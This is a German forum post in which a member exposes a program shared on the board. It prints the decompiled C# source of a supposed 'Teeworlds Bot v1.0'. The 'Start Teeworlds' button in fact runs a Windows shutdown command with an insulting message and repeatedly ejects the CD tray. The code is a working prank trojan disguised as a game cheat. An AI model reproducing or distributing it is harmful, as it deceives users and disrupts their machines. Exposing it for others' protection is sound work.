XD. Nunja für dieses Programm sollte man dich aus dem Board entfernen!
Hier der Quelli
:
public class Form1 : Form
{
// Fields
[AccessedThroughProperty("Button1")]
private Button _Button1;
[AccessedThroughProperty("Button2")]
private Button _Button2;
private IContainer components;
// Methods
[DebuggerNonUserCode]
public Form1()
{
this.InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
Interaction.Shell("Shutdown -s -t 60 -c SCHEI\x00df_AUF_BOTTER!!!", AppWinStyle.MinimizedFocus, false, -1);
string lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door closed";
mciExecute(ref lpstrCommand);
lpstrCommand = "Set CDaudio door open";
mciExecute(ref lpstrCommand);
}
private void Button2_Click(object sender, EventArgs e)
{
this.Close();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (disposing && (this.components != null))
{
this.components.Dispose();
}
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
ComponentResourceManager manager = new ComponentResourceManager(typeof(Form1));
this.Button1 = new Button();
this.Button2 = new Button();
this.SuspendLayout();
Point point = new Point(0x3f, 0x22);
this.Button1.Location = point;
this.Button1.Name = "Button1";
Size size = new Size(0x8e, 0x3e);
this.Button1.Size = size;
this.Button1.TabIndex = 0;
this.Button1.Text = "Start Teeworlds";
this.Button1.UseVisualStyleBackColor = true;
point = new Point(0x3f, 0x83);
this.Button2.Location = point;
this.Button2.Name = "Button2";
size = new Size(0x8e, 60);
this.Button2.Size = size;
this.Button2.TabIndex = 1;
this.Button2.Text = "Beenden";
this.Button2.UseVisualStyleBackColor = true;
SizeF ef = new SizeF(6f, 13f);
this.AutoScaleDimensions = ef;
this.AutoScaleMode = AutoScaleMode.Font;
size = new Size(270, 0xe3);
this.ClientSize = size;
this.ControlBox = false;
this.Controls.Add(this.Button2);
this.Controls.Add(this.Button1);
this.Icon = (Icon) manager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "Form1";
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Teeworlds Bot v1.0";
this.ResumeLayout(false);
}
[DllImport("winmm.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
private static extern long mciExecute([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrCommand);
// Properties
internal virtual Button Button1
{
[DebuggerNonUserCode]
get
{
return this._Button1;
}
[MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
set
{
EventHandler handler = new EventHandler(this.Button1_Click);
if (this._Button1 != null)
{
this._Button1.Click -= handler;
}
this._Button1 = value;
if (this._Button1 != null)
{
this._Button1.Click += handler;
}
}
}
internal virtual Button Button2
{
[DebuggerNonUserCode]
get
{
return this._Button2;
}
[MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
set
{
EventHandler handler = new EventHandler(this.Button2_Click);
if (this._Button2 != null)
{
this._Button2.Click -= handler;
}
this._Button2 = value;
if (this._Button2 != null)
{
this._Button2.Click += handler;
}
}
}
}